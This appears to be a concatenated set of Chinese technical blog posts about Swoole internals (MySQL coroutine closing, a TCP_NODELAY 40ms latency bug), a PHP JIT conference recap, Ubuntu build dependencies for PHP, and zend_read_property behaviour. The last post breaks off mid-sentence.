171 | * thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 172 | frame #0: 0x00000001030ae573 swoole.so`swoole_mysql_coro_close(this=0x0000000101c85230) at swoole_mysql_coro.c:180 173 | 177 static int swoole_mysql_coro_close(zval *this) 174 | 178 { 175 | 179 SWOOLE_GET_TSRMLS; 176 | -> 180 mysql_client *client = swoole_get_object(this); 177 | 181 if (!client) 178 | 182 { 179 | 183 swoole_php_fatal_error(E_WARNING, "object is not instanceof swoole_mysql_coro."); 180 | Target 0: (php) stopped. 181 | (lldb) l 182 | 184 return FAILURE; 183 | 185 } 184 | 186 185 | 187 if (!client->cli) 186 | 188 { 187 | 189 return FAILURE; 188 | 190 } 189 | (lldb) 190 | 191 191 | 192 zend_update_property_bool(swoole_mysql_coro_class_entry_ptr, this, ZEND_STRL("connected"), 0 TSRMLS_CC); 192 | 193 SwooleG.main_reactor->del(SwooleG.main_reactor, client->fd); 193 | 194 194 | 195 swConnection *_socket = swReactor_get(SwooleG.main_reactor, client->fd); 195 | 196 _socket->object = NULL; 196 | 197 _socket->active = 0; 197 | (lldb) 198 | 198 199 | 199 if (client->timer) 200 | 200 { 201 | 201 swTimer_del(&SwooleG.timer, client->timer); 202 | 202 client->timer = NULL; 203 | 203 } 204 | 204 205 | (lldb) 206 | 205 if (client->statement_list) 207 | 206 { 208 | 207 swLinkedList_node *node = client->statement_list->head; 209 | 208 while (node) 210 | 209 { 211 | 210 mysql_statement *stmt = node->data; 212 | 211 if (stmt->object) 213 | (lldb) 214 | 212 { 215 | 213 swoole_set_object(stmt->object, NULL); 216 | 214 efree(stmt->object); 217 | 215 } 218 | 216 efree(stmt); 219 | 217 node = node->next; 220 | 218 } 221 | (lldb) 222 | 219 swLinkedList_free(client->statement_list); 223 | 220 } 224 | 221 225 | 222 client->cli->close(client->cli); 226 | 223 swClient_free(client->cli); 227 | 224 efree(client->cli); 228 | 225 client->cli = NULL; 229 | (lldb) 230 | 226 client->state = SW_MYSQL_STATE_CLOSED; 231 | 227 client->iowait = SW_MYSQL_CORO_STATUS_CLOSED; 232 | 228 233 | 229 return SUCCESS; 234 | 230 } 235 | ``` 236 | 237 | 析构函数中可以看到一系列对自身的"清理操作", 因为对象要被销毁了. 238 | 239 | 而swoole_mysql_coro_close中可以看到一系列"关闭操作"和对该client所持有的statement们的清理操作, statement_list是一个链表, statement的标识ID是依赖于指定会话连接的, 索引ID从1开始, 连接关闭了所以statement必须在这时就销毁. 240 | 241 | 而222行的`client->cli->close(client->cli)`是用swoole的client进行了TCP连接关闭. 242 | 243 | ## 结论和进一步深思 244 | 245 | 所以我们可以发现, Swoole只对自己进行了清理, 并且关闭了TCP连接, 而没有在MySQL协议层面进行连接关闭, 这样会不会造成MySQL服务端还长期存在连接, 并没有销毁清理的情况呢? 246 | 247 | 首先, 在连接尚未关闭但是statement对象被销毁的时候, swoole并不会通知mysql去销毁语句模板, 所以要是长连接的时候有很多语句在swoole端一次性使用了的话, mysql那边应该会一直保存着那些语句模板, 等待这个连接下一次可能的使用. 248 | 249 | ### 验证: 查看未关闭的连接 250 | 251 | 而swoole端对tcp连接关闭后, mysql端没有收到mysql协议层面的关闭消息, 会不会还傻傻等着呢? 252 | 253 | 这时候我们可以运行一下脚本, 然后在mysql端使用`show full processlist`来查看连接: 254 | 255 | ```mysql 256 | mysql> show full processlist; 257 | +-----+------+-----------------+------+---------+------+----------+-----------------------+ 258 | | Id | User | Host | db | Command | Time | State | Info | 259 | +-----+------+-----------------+------+---------+------+----------+-----------------------+ 260 | | 151 | root | localhost:58186 | NULL | Query | 0 | starting | show full processlist | 261 | +-----+------+-----------------+------+---------+------+----------+-----------------------+ 262 | 1 row in set (0.00 sec) 263 | ``` 264 | 265 | Woo! 除了我们当前连接居然没有其他连接了, 说明MySQL在TCP连接关闭时就"智能"地清除了会话. 266 | 267 | ### 最后验证: 真的没有影响吗? 268 | 269 | 我们程序员要有刨根问底精神, 连接强制关闭了, 真的没有副作用吗? 270 | 271 | ```mysql 272 | show status like '%Abort_%'; 273 | ``` 274 | 275 | ```mysq 276 | +------------------+-------+ 277 | | Variable_name | Value | 278 | +------------------+-------+ 279 | | Aborted_clients | 118 | 280 | | Aborted_connects | 0 | 281 | +------------------+-------+ 282 | 2 rows in set (0.01 sec) 283 | ``` 284 | 285 | > Aborted_clients 由于客户没有正确关闭连接已经死掉,已经放弃的连接数量。 286 | > 287 | > Aborted_connects 尝试已经失败的MySQL服务器的连接的次数。  288 | 289 | 可以看到, MySQL统计了异常中断的客户端和连接, 在我们近期的使用中, 没有正确关闭连接的客户端有118个 290 | 291 | 但是MySQL既然可以统计到该数据, 自然也可以对这些客户端连接进行正常清理, 比较还有一手TCP层面的逻辑在里头, 但是这样粗暴地关闭, 就像我们平时手机杀程序清内存或者强制关机的操作一样, 一般来说无甚危害, **但是万一哪天真的发生了异常, 客户端大量死掉, 我们也很难去发现了.** -------------------------------------------------------------------------------- /_/tcp-nodelay.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 用0.04秒看出大佬的网络编程基本功素养 3 | date: 2018-09-16 23:32:08 4 | tags: ["swoole", tcp", "nodelay", "nagle"] 5 | --- 6 | 7 | ## 起因 8 | 9 | 事情是这样的, 最近在做Swoole的Websocket的底层代码优化, 和编写更多的单元测试来保证代码正确和功能的稳定性, 写了很多高质量的"混沌"测试, 好吧, 其实并不是那么混沌, 只是这个词眼看起来很帅. 10 | 以往的unit tests更像是一些带着assert的examples, 加之phpt的测试风格, 顶多再来个EXPECT(F/REGEX)的预期输出对比, 只能测试出这个功能能否跑通, 并没有覆盖到功能的健壮性.而每当底层出现BUG接着我们很快就发现了原因时, 都会感叹单元测试不够全面和完善. 11 | 所以在新写的测试中, 我尽量引入随机数据和一定量的并发压力来简单的模拟各种情况, 在自动化的单元测试中这样的做法已经是权衡了测试敏捷和健全的最优解了, 比如以下这个名为`websocket-fin`的测试: 12 | 13 | ```php 14 | $count = 0; 15 | $pm = new ProcessManager; 16 | $pm->parentFunc = function (int $pid) use ($pm, &$count) { 17 | for ($c = MAX_CONCURRENCY; $c--;) { 18 | go(function () use ($pm, &$count) { 19 | $cli = new \Swoole\Coroutine\Http\Client('127.0.0.1', $pm->getFreePort()); 20 | $cli->set(['timeout' => 5]); 21 | $ret = $cli->upgrade('/'); 22 | assert($ret); 23 | $rand_list = []; 24 | $times = MAX_REQUESTS; 25 | for ($n = $times; $n--;) { 26 | $rand = openssl_random_pseudo_bytes(mt_rand(0, 1280)); 27 | $rand_list[] = $rand; 28 | $opcode = $n === $times - 1 ? WEBSOCKET_OPCODE_TEXT : WEBSOCKET_OPCODE_CONTINUATION; 29 | $finish = $n === 0; 30 | if (mt_rand(0, 1)) { 31 | $frame = new swoole_websocket_frame; 32 | $frame->opcode = $opcode; 33 | $frame->data = $rand; 34 | $frame->finish = $finish; 35 | $ret = $cli->push($frame); 36 | } else { 37 | $ret = $cli->push($rand, $opcode, $finish); 38 | } 39 | assert($ret); 40 | } 41 | $frame = $cli->recv(); 42 | if (assert($frame->data === implode('', $rand_list))) { 43 | $count++; 44 | } 45 | }); 46 | } 47 | swoole_event_wait(); 48 | assert($count === MAX_CONCURRENCY); 49 | $pm->kill(); 50 | }; 51 | $pm->childFunc = function () use ($pm) { 52 | $serv = new swoole_websocket_server('127.0.0.1', $pm->getFreePort(), mt_rand(0, 1) ? SWOOLE_BASE : SWOOLE_PROCESS); 53 | $serv->set([ 54 | 'log_file' => '/dev/null' 55 | ]); 56 | $serv->on('WorkerStart', function () use ($pm) { 57 | $pm->wakeup(); 58 | }); 59 | $serv->on('Message', function (swoole_websocket_server $serv, swoole_websocket_frame $frame) { 60 | if (mt_rand(0, 1)) { 61 | $serv->push($frame->fd, $frame); 62 | } else { 63 | $serv->push($frame->fd, $frame->data, $frame->opcode, true); 64 | } 65 | }); 66 | $serv->start(); 67 | }; 68 | $pm->childFirst(); 69 | $pm->run(); 70 | ``` 71 | 72 | 73 | ## 测试流程 74 | 75 | Swoole中涉及网络服务的测试模型一般都长这样, 一个PHP写的简易好用的`ProcessManager`来管理进程, 子进程(childFunc)一般为服务, 父进程(parentFunc)一般为客户端, 来测试收发处理是否正确. 76 | 77 | 首先子进程会先运行(`childFirst`), 服务创建成功后, 会进入`onWorkerStart`回调, 此时服务已经能进行请求处理, 通过`wakeup`唤起父进程,父进程会顺序执行, 创建多个协程, 在`swoole_event_wait`处进入事件循环, 待所有协程运行完毕后, 断言执行成功次数是否正确, 然后kill掉进程退出测试. 78 | 79 | 在这里我们并发了`MAX_CONCURRENCY`个数的协程来请求服务器(相当于`ab测试`的`-c`参数), 这里使用`MAX_CONCURRENCY`常量的原因是`TravisCI`(线上自动化集成测试)的配置并不是那么好, 不一定能承载住稍大的并发, 常量的值可以在不同环境下有所区别, 而积极使用常量也能让一个程序的可读性, 可移植性大大提升. 80 | 81 | 每个协程里都创建一个HTTP客户端(连接), 连接建立后, 通过`upgrade`升级到websocket协议, 执行`MAX_REQUESTS`次(相当于`ab测试`的`-n`参数)的请求逻辑, 每一次都会通过`openssl_random_pseudo_bytes`来生成一串0~1280字节的随机字符串, 添加到`$rand_list`的同时向服务器发送. 82 | 83 | ```php 84 | $opcode = $n === $times - 1 ? WEBSOCKET_OPCODE_TEXT : WEBSOCKET_OPCODE_CONTINUATION; 85 | $finish = $n === 0; 86 | ``` 87 | 88 | 这两句代码的意思是, 在websocket中使用`分段发送帧`的时候, 第一帧的opcode是确切的帧类型(这里是TEXT), fin为0, 代表帧未结束, 后续帧的opcode都是`WEBSOCKET_OPCODE_CONTINUATION`, 表示这是一个连续帧, 直到最后一帧(n==0循环结束)fin变为1, 代表帧结束. 89 | 90 | 这个连续帧最多有`MAX_REQUESTS`帧, 值一般为100, 1280字节*100次也就是最大128K左右, 这个测试量也就是稀松平常, 对于swoole来说并不算是有什么压力, 称不上压力测试, 只是通过随机数据来尽可能保证各种情况下的可用性. 91 | 92 | ## 蜜汁耗时 93 | 94 | 而恰好我又在最近为自动化测试加上了一个耗时统计选项, 很奇怪的结果出现了, fin测试居然耗时超过20s, 这个问题在我的MacOS下并不存在, 但是却在Ubuntu复现了. 95 | 96 | ![](https://ws1.sinaimg.cn/large/006DQdzWgy1fveqbea7h9j31fs0h4qaw.jpg) 97 | 98 | 同样出现问题的还有greeter测试, 它们都有一个共同的问题, 就是它们使用了**websocket通信单个连接多次发包.** 99 | 100 | BUG能在Ubuntu下复现是个好事, 因为MacOS除了`LLDB`根本没有好用的调试工具, `valgrind`不可用, 而`strace`的替代品`dtruss`也不甚好用, 在Ubuntu下使用`strace`跟踪, 很快就能看到以下日志: 101 | 102 | ![](https://ws1.sinaimg.cn/large/006DQdzWgy1fveu8j5bqcj31j616e1kx.jpg) 103 | 104 | 如果是使用标准输出跟踪可以看到打印的信息非常正常, 由于数据量大屏幕会不断滚动, 但并没有出现卡顿, 数据传输也很均匀, 可以看到有很多`getpid`的系统调用, 第一反应是是不是这个的问题, 稍微确认一下就能发现这是`openssl_random_pseudo_bytes`的系统调用, 并没有什么关系. 105 | 106 | ## 前辈经验 107 | 108 | 量大就慢是不可能的, 在MacOS下完成这个脚本只需眨眼之间, 且没有任何错误, 苦思了半天也不得解, 只能求助rango, rango刚开始看思路和我差不多, 也是先看到了大量的`getpid`, 稍加思索马上就排除了这个, 在标准输出中跟踪也发现非常正常, 然后觉得是不是数据量太大了, 但是稍加确认又马上排除. 109 | 110 | 很快, 他就注意到了epoll_wait的等待时间格外的长, 虽然我也注意到了, 但我只注意到了格外的长, 并没有留意长出来的时间是多少, 数据是不间断连续发送的, 却有**40ms**的延迟, 这对于本机的两端互发数据来说是一个很大的值了. 111 | 112 | "0.04s, 不会是那个吧", 说罢rango马上**在配置项加上了一个`open_tcp_nodelay => false`, 再跑一次测试, 问题解决...** 113 | 114 | 这就是名震江湖的**调参术**吗...像以前用windows的时候, 经常能看到一个水文, **`一招让你电脑网速提升20%`** , 大概是通过配置关闭了TCP的**慢启动**, 让测速结果更加好看, 实际上可能并没有什么效果, 反而让这个优秀的设计在相关网络场景下失去效用, 造成**拥塞**. 115 | 116 | 但是这个东西完全是关于**`基本功`和`经验`**, 我压根不知道这个东西, 看破脑袋也看不出这个关键的40ms, 而我没有相关的经验, 就算有相关的网络编程知识也一时很难联系起来. 117 | 118 | ##TCP_NOLAY 与 Nagle合并算法 119 | 120 | 开启 `TCP_NOLAY`实际是关闭`Nagle合并算法`, 这个算法在网上的讲解有很多, 而且原理也非常简单, 写的肯定比我好多了, 如维基上的伪码: 121 | 122 | ```C 123 | if there is new data to send 124 | if the window size >= MSS and available data is >= MSS 125 | send complete MSS segment now 126 | else 127 | if there is unconfirmed data still in the pipe 128 | enqueue data in the buffer until an acknowledge is received 129 | else 130 | send data immediately 131 | end if 132 | end if 133 | end if 134 | ``` 135 | 136 | 而[Nagle算法是时代的产物,因为当时网络带宽有限](https://www.zhihu.com/question/42308970/answer/246334766), 于是我就把Swoole的`TCP_NODELAY`改为默认开启了, 不要急, [Nginx-tcp_nodelay](http://nginx.org/en/docs/http/ngx_http_core_module.html#tcp_nodelay)和php_stream等也是这么做的, 大家都有自己的缓冲区, 无需立即发送的小数据包是不会马上发出去的, 例如最重要的HTTP, 它是`读-写-读-写`模式的, 数据都是等请求`end`了之后才会一并发出(除非使用了chunk), 也就是说, 如果数据确实发出了, 那么它就有发出的必要性(哪怕它是个小数据包), 开发者希望它总是保持低延迟的, 而不是动不动就出来40ms, 若想要底层防止拥塞, 那么届时再手动开启`Nagle合并算法`. 137 | 138 | 在我写完以上内容后, 我搜了一下, 发现这个问题有很多让我哭笑的标题: 139 | 140 | - [神秘的40毫秒延迟与 TCP_NODELAY](https://blog.csdn.net/zheng0518/article/details/78561246) 141 | - [写socket的“灵异事件”](https://blog.csdn.net/historyasamirror/article/details/6122284) 142 | - [再说TCP神奇的40ms](https://cloud.tencent.com/developer/article/1004431) 143 | 144 | 好吧, 肯来很多前人都被这个神奇的40ms困扰过, 说明写个博客还是很能造福后人的. -------------------------------------------------------------------------------- /_/test.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: woo 3 | date: 2017-12-28 10:40:00 4 | tags: 5 | --- 6 | # (。・∀・)ノ゙ 7 | 8 | ## 👁SEE IS THE 🐳SEA OF CC😎 9 | 10 | My name is cc, 11 | 12 | so I'm **Twosee**. -------------------------------------------------------------------------------- /_/the-next-generation-of-php.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "[转] 2017年PHP开发者大会总结 鸟哥JIT篇" 3 | date: 2018-01-04 05:21:37 4 | tags: php 5 | --- 6 | 7 | 鸟哥本次分享的主要内容是,在php7发布的这两年期间他们的主要工作,包括release的7.1和正在开发中的jit分支。说实话,由于本人水平有限,鸟哥分享的内容只能大概听懂意思,知道他们在做什么,但具体原理细节,鸟哥分享的我还真听不懂。这里就对鸟哥的分享内容做个总结。 8 | 9 | #### php7之后还有什么?JIT 10 | 11 | php7于15年正式发布,他的最大卖点是,无感知的100%性能提升,包含了运行速度与内存消耗。那么在此之后php该往哪里发展呢?目前已经在开发的一个大方向就是JIT 12 | 13 | **JIT是什么?为什么是JIT?** 14 | 鸟哥并没有做过多的解释。我就谈一些我的肤浅认识,给phper们提供些参考。 15 | 16 | 首先JIT(just in time)并非是新技术,一大批语言如java早已实现。JIT的思想很简单,即在程序运行时动态对程序进行编译,生成平台相关的机器码,从而加快程序运行速度。 17 | 18 | php文件的执行流程大致是首先引擎加载php文件,解释器逐条解释执行代码。引入JIT后,前面一样,重点是JIT编译器会根据Runtime信息对热点代码进行动态编译生成机器码,然后这部分代码以后就可以直接执行了,而不需要解释器逐条解释执行了,运行效率便得到了提升 19 | 20 | `看到这里不知道大家是否和我有一样的疑问,既然编译为机器码执行的效率那么高,为何不在项目正式部署前全部进行编译,何必在运行时编译?`要知道运行时编译也会增加程序的执行时间的。我在查阅了一些资料和一番思考后,有以下一些浅见 21 | 22 | 代码发布前先编译,是比JIT更早的通用办法,称为`AOT(ahead of time)`,c语言便是这种执行模式。关于这两种模式孰优孰劣,学术界一直争论不休,目前也没有定论。但JIT相比AOT有这样几个优点 23 | 24 | - **发布速度快**。不用每次都编译,发布速度自然快 25 | - **优化效率更好**。因为JIT是基于Runtime信息,比AOT更“了解”代码,优化的效率更好。比如分析Runtime得知某个变量虽然声明是10个字节,但运行过程中一直是1个字节,那么就可以减小程序内存消耗;再比如某段代码始终未被执行,JIT则可以直接将其忽略 26 | - **粒度更精细**。JIT可以只针对hotspot(热点)进行编译,热点可能是一个函数或者只是一个代码段 27 | - **对码农透明**。JIT无须码农自己对程序根据不同平台进行编译发布,只需要写高级代码即可 28 | 29 | 基于以上几个优点,再结合php一贯的简单易用原则,我想JIT确实是不错的选择。不过php也是支持AOT的,有兴趣的同学可以查一下。 30 | 31 | 32 | 33 | 但JIT技术也绝不是灵丹妙药,`即便是编译也是需要时间的,当代码编译的时间消耗大于运行收益时,程序反而会变慢!`会有这种情况吗?有的,比如某个项目中,热点并不明显,JIT编译的代码执行次数都很少,那么编译带来的收益是有可能小于编译本身的消耗的 34 | 35 | 以下是在标准测试中引入JIT技术后,php运行效率比7.2有100%的性能提升,不过在实际生产环境中效果不会有这么好 36 | 37 | ![](http://ww1.sinaimg.cn/large/006DQdzWgy1fn44fznqc8j317u0f6wg1.jpg) 38 | 39 | #### php7.1做了什么?类型预测 40 | 41 | php要想实现JIT,有一个难题必须解决,那就是变量的`类型预测`。试想如果在动态编译时还要进行大量的类型检查,性能将会大打折扣。php7中已经可以对变量类型进行控制,7.1则是更加完善了这个机制,可以说目前php已经是半强类型语言了。但由于php的弱类型历史,仍有大量代码运行前是无法得知变量类型的,所以在7.1中鸟哥进行了大量变量类型预测的工作,为后续JIT打基础 42 | 43 | **变量预测** 44 | 比较简单的一种办法是数据流分析,即分析代码的上下文,推断出变量的可能类型,比如 45 | 46 | ``` 47 | function calc ($a1, $b2) { // $a1: [ANY], $b2: [ANY] 48 | $T3 = $a1 * 2; // $T3: [LONG, DOUBLE] 49 | $a4 = $T3 % 1000; // $a4: [LONG] 50 | $T5 = $b2 * 3; // $T5: [LONG, DOUBLE] 51 | $b6 = $T5 % 1000; // $b6: [LONG] 52 | $T7 = $a4 + $b6; // $T7: [LONG, DOUBLE] 53 | return $T7; 54 | } 55 | 56 | ``` 57 | 58 | 其实这还是很困难的,鸟哥列举了一些开发过程中遇到的困难。比如变量的变量,`$$var_name`,或者顶层代码(即写在函数和类之外的代码)等等。php的历史包袱还是很重的。解决这些问题的简单办法就是强类型,但这又会降低开发效率,`因为优化而影响phper的开发效率`这是鸟哥所不愿意的,他认为业务永远是优先的,优化只是支线 59 | 60 | 目前鸟哥的解决办法就是对JIT进行分级,通过配置实现不同程度的动态编译,从而降低类型预测的难度。另外就是针对具体的场景,进行垂直优化 61 | 62 | #### 问答环节 63 | 64 | 鸟哥的问答环节也非常精彩,原定一小时的分享最终超了一小时,下面我就凭着记忆对一些问题复现一下,`可能存在偏差,将来我可不负责` 65 | 66 | **php7.1那个诡异的函数返回类型限定是如何考虑的?** 67 | 鸟哥:没什么特别考虑,投票投出来的。首先说明一点,我投的是反对票。包括php的命名空间反斜杠我也是非常反对的,但可能由于我并没有对这方面太深的认识,没有理解其他开发者的意图。不过这些问题用习惯了也不是什么大的问题 68 | 69 | **升级php7后,遇到了一个诡异的引用计数的问题。具体记不清了,大致是他们发现有个应该回收的变量在升级后没有回收** 70 | 鸟哥:我现在不能给你准确答复,有可能是个bug,这个我随后跟进一下。但我想说的是你刚才介绍了你们在调试过程中对引用数的反复推算,其实不必纠结这,引用数用于垃圾回收时只有0和非0两种区别,我们在增加引用计数时可能有时候不是加1,而是加2,所以不要太在意具体是多少,确定大于0就行 71 | 72 | **一位学生提问者表示自己对高并发、分布式感兴趣,如何提升这方面的技能呢?** 73 | 鸟哥:这里你有一个误区。我们研究学习技术并不是为了学习而学习,而是为了解决实际的业务问题。你没有接触过这方面的业务,自然没有这方面的经验,等你真正有这个业务需求时,好多东西原理都很简单,使用方法也很成熟,自然就会了,这是个水到渠成的过程,不必刻意去追求那个“术”。另外,我多说一句是,其实当你真正处在这样的业务中时,你会发现这些事情很少需要你操心的,OP通过各种集群就已经把这些问题给屏蔽了。 74 | 75 | **鸟哥你是怎样看待php的前景呢?现在黑php的这么多人** 76 | 鸟哥:php的前景不要问我,要问你和我,整个php生态。天峰贡献一个swoole,php就有了高性能网络请求功能,xx贡献个php-ml,php就有了大数据处理功能,我今天贡献一个jit,php就有了动态编译能力。php发展到今天就是大家你一个小贡献,他一个小贡献积累出来的,所以php的前景好不好,要看我们生态,也希望大家踊跃贡献。至于黑php,我现在都懒得反驳了,有句话说的好,“黑php之前,先数数他给你挣了多少钱”,我一直认为业务是技术存在的理由,能不能快速响应需求、实现业务才是最根本的。 77 | 78 | **目前php没有连接池,非常不方便,不知道官方是否有支持计划?** 79 | 鸟哥:目前没有。不过这不正是一个给社区做贡献的机会吗?你们开发一个连接池,贡献到社区既方便了自己,也方便了大家。天峰昨天的分享PHP-X,不就是为了这样的事 80 | 81 | **鸟哥你是怎样看待全栈工程师这个概念的?** 82 | 鸟哥:我并不认同这个概念,我认为这是个伪命题。全栈这个概念最早是前端工程师提出来的,认为从前端到后端这是“全栈”,但我理解的全栈应该是对一个领域从底层原理到上层应用,这不才更应该叫做栈?自称全栈工程师的大部分属于只对各个领域多少有些认识而已。优秀的工程师不必刻意去追求全栈,你只需要在你的领域里不断深入就行,深度达到了,自然就有了广度,`广度是深度的副产品`,推而广之,就是所谓的全栈工程师是当你在一个领域深入到一定阶段后的副产品,而不是刻意在各个领域学出来的 83 | 84 | **php7对性能压榨已经比较彻底了,未来php是继续提高性能呢,还是增加新的特性?** 85 | 鸟哥:你想太多了,目前并未任何打算。JIT开发就非常困难了,这个是否能够成功还是未知数,下次大会如果JIT没有完成,我就没啥可分享的了。 86 | 87 | **现在在北京很难安家,将来回到二三线城市,php很难找工作,不知道鸟哥有什么看法吗?** 88 | 鸟哥:不必过于担心,不光是程序猿,其实还有好多公司也很难承受一线城市的成本,也在不断的往二三城市分流,所以找工作问题还是不大的。另外至于你担心php难找工作,那你可以换java、换go啊,一个程序猿不应该给自己打上标签,“xx程序猿”,你作为一个工程师,至少要精通3种以上的语言,而且要有良好的学习能力 89 | 90 | **鸟哥你是如何放松你的部下呢?会请他们去大保健吗?** 91 | 鸟哥:这个我没太多经验,不过就我自己来说,有时候加班多了还是比较累的,我有段时间脖子特别疼,一周得去至少三次按摩院按摩才能缓解,当然我说的是盲人按摩。后来我真的研究了颈椎康复指南,不是开玩笑,我是真研究了。人的脑袋大概12斤重,你想你整天顶个西瓜,要是颈椎肌肉不行的话,能不难受吗?所以我后来经常去健身房,锻炼颈椎,后来才慢慢好了 -------------------------------------------------------------------------------- /_/ubuntu-php.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Ubuntu下编译PHP所需的依赖库" 3 | date: 2018-06-13 15:52:22 4 | tags: PHP 5 | --- 6 | 7 | #### 编译环境 8 | 9 | `sudo apt-get install -y build-essential` 10 | 11 | #### xml 12 | 13 | `sudo apt-get install -y libxml2-dev` 14 | 15 | #### pcre 16 | 17 | `sudo apt-get install -y libpcre3-dev` 18 | 19 | #### jpeg 20 | 21 | `sudo apt-get install -y libjpeg62-dev` 22 | 23 | 24 | 25 | #### freetype 26 | 27 | `sudo apt-get install -y libfreetype6-dev` 28 | 29 | #### png 30 | 31 | `sudo apt-get install -y libpng12-dev libpng3 libpnglite-dev` 32 | 33 | #### iconv 34 | 35 | `sudo apt-get install -y libiconv-hook-dev libiconv-hook1` 36 | 37 | #### mycrypt 38 | 39 | `sudo apt-get install -y libmcrypt-dev libmcrypt4` 40 | 41 | #### mhash 42 | 43 | `sudo apt-get install -y libmhash-dev libmhash2` 44 | 45 | #### openssl 46 | 47 | `sudo apt-get install -y libltdl-dev libssl-dev` 48 | 49 | #### curl 50 | 51 | `sudo apt-get install -y libcurl4-openssl-dev` 52 | 53 | #### mysql 54 | 55 | `sudo apt-get install -y libmysqlclient-dev` 56 | 57 | #### imagick 58 | 59 | `sudo apt-get install -y libmagickcore-dev libmagickwand-dev` 60 | 61 | #### readline 62 | 63 | `sudo apt-get install -y libedit-dev` 64 | 65 | #### ubuntu 无法找到 iconv 66 | 67 | `sudo ln -s /usr/lib/libiconv_hook.so.1.0.0 /usr/lib/libiconv.so` 68 | `sudo ln -s /usr/lib/libiconv_hook.so.1.0.0 /usr/lib/libiconv.so.1` 69 | 70 | #### 安装PHP扩展 71 | 72 | `sudo apt-get install -y autoconf automake m4` -------------------------------------------------------------------------------- /_/what-are-zend-read-property-doing.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "PHP内核浅析: zend_read_property在键值不存在的时候究竟返回了什么?" 3 | date: 2018-09-23 21:06:26 4 | tags: [php, zend, swoole] 5 | --- 6 | 7 | > 2020更新:扩展对象使用“属性”来存储东西不是一个好的行为,我们可能需要花费很大代价来阻止来自PHP用户的破坏,至于更好的存储方法,我会在未来的文章中讲到 8 | 9 | `zend_read_property`返回了什么, 其实我从前也未深究, 它的返回值类型是一个`zval *`, 所以很理所当然的, 大家都会认为如果获取了一个不存在的属性, 它的返回值就是`NULL`. 10 | 11 | 比如`zend_hash_str_find`这个API, 它会从`HashTable`里寻找对应的bucket, 然后获取它的值, 如果这个值不存在, 就返回NULL. 12 | 13 | 而且我们清楚, 不管是`array`, 还是`object`的`properties`, 都是用`HashTable`来存储的, 那么不存在的时候返回`NULL`, 也是理所当然. 14 | 15 | 这里还要注意一点, 我所指的不存在, 是在`HashTable`里没有这个bucket, 举个例子: 16 | 17 | ```php 18 | $foo = ['bar' => null]; 19 | var_dump(isset($foo['bar'])); // false 20 | var_dump(array_key_exists('bar', $foo)); // true 21 | unset($foo['bar']); 22 | var_dump(array_key_exists('bar', $foo)); // false 23 | ``` 24 | 25 | 这样可以很清楚的发现区别了, 在置一个键为`null`的时候, 实际上是在这个`bucket`上放了一个`type = null`的`zval`, 而当使用`unset`的时候, 才是真正的把这个`bucket`从`HashTable`上删去了, 也就是说这个键和存储键值的容器都不存在了. 所以`unset`真是个很暴力的连根拔除的操作. 26 | 27 | `unset`的开销会比赋值`null`更大, 因为它删去属性的同时, 可能会触发数组结构重置, 这个问题在用`SplQueue`和`array_push/pop`对比的时候显而易见. 28 | 29 | 30 | 31 | ### 错误案例 32 | 33 | 出于安全性考虑, 我曾经写过一个函数, 犯了愚蠢的错误: 34 | 35 | ```C 36 | static sw_inline zval* sw_zend_read_property_array(zend_class_entry *class_ptr, zval *obj, const char *s, int len, int silent) 37 | { 38 | zval rv, *property = zend_read_property(class_ptr, obj, s, len, silent, &rv); 39 | zend_uchar ztype = Z_TYPE_P(property); 40 | if (ztype != IS_ARRAY) 41 | { 42 | zval temp_array; 43 | array_init(&temp_array); 44 | zend_update_property(class_ptr, obj, s, len, &temp_array TSRMLS_CC); 45 | zval_ptr_dtor(&temp_array); 46 | // NOTICE: if user unset the property, this pointer will be changed 47 | // some objects such as `swoole_http2_request` always be writable 48 | if (ztype == IS_UNDEF) 49 | { 50 | property = zend_read_property(class_ptr, obj, s, len, silent, &rv); 51 | } 52 | } 53 | 54 | return property; 55 | } 56 | ``` 57 | 58 | 首先这个函数是用来安全地从一个object上获取一个array类型的属性, 在该属性不为array类型的时候, 更新为一个空数组, 然后再返回该属性的指针. 59 | 60 | 因为在底层常常会有类似这样的操作 61 | 62 | ```C 63 | zval *property = zend_read_property(ce, object, ZEND_STRL("headers"), 1); 64 | add_assoc_string(property, "foo", "bar"); 65 | ``` 66 | 67 | 一般属性都是被定义好的且初始化好的, 但难免有开发者会在PHP代码中改变它, 比如我自己就这么做了, 在某个清理方法中把`$request->headers = null`, 然后底层读取出了一个null的zval, 调用`add_assoc_string`的时候, 把这个属性当做了array, 就产生了coredump. 所以弄一个包含检查的内联函数来安全的获取指定类型的属性, 还是很有必要的. 68 | 69 | 在这个函数中, 我为了节省一次`zend_read_property`的开销, 判断了前一次读出属性的类型, 在我的潜意识里, 获取到了标记为UNDEF的zval, 前后指针会变化, 所以我判断了它是IS_UNDEF的时候才重新读一次属性. 因为已存在的属性, 就算更新它的值, 它的指针(即bucket的位置)也不会改变. 70 | 71 | 我常常是一个实战派, 当时我用LLDB跟踪验证了一下, 不论在何种情况, 前后指针都没有变化, 这是一个安全的方式, 于是我就放心的这么写了. 72 | 73 | 后来, 我接二连三在书写极端单元测试的时候遇到问题, 所谓极端单元测试, 是指我时不时的`unset`掉测试用例里的某个本应该为null的属性, 看看会不会出现问题, 结果产生了一系列coredump. 74 | 75 | 后来我发现了, 是因为我写操作了获取到的null zval, 产生了内存错误, 但是为什么不能操作它呢? 76 | 77 | 这时候我终于知道去看一眼PHP源码了...马上翻到`zend_std_read_property`这个标准的handler看一眼: 78 | 79 | 入眼就能看到一个: 80 | 81 | ```php 82 | if (Z_TYPE_P(rv) != IS_UNDEF) { 83 | retval = rv; 84 | if (!Z_ISREF_P(rv) && 85 | (type == BP_VAR_W || type == BP_VAR_RW || type == BP_VAR_UNSET)) { 86 | if (UNEXPECTED(Z_TYPE_P(rv) != IS_OBJECT)) { 87 | zend_error(E_NOTICE, "Indirect modification of overloaded property %s::$%s has no effect", ZSTR_VAL(zobj->ce->name), ZSTR_VAL(name)); 88 | } 89 | } 90 | } else { 91 | retval = &EG(uninitialized_zval); 92 | } 93 | ``` 94 | 95 | 潜意识是没错了...在property的unset操作中, unset一个属性, 应该是有可能会将它标记为UNDEF的, 因为一般一个类的实例对象的HashTable是不变动的, unset其实是破坏了其结构的, 标记为UNDEF应该是一种优化. 96 | 97 | 但是zend_std_read_property对其进行了包装了, 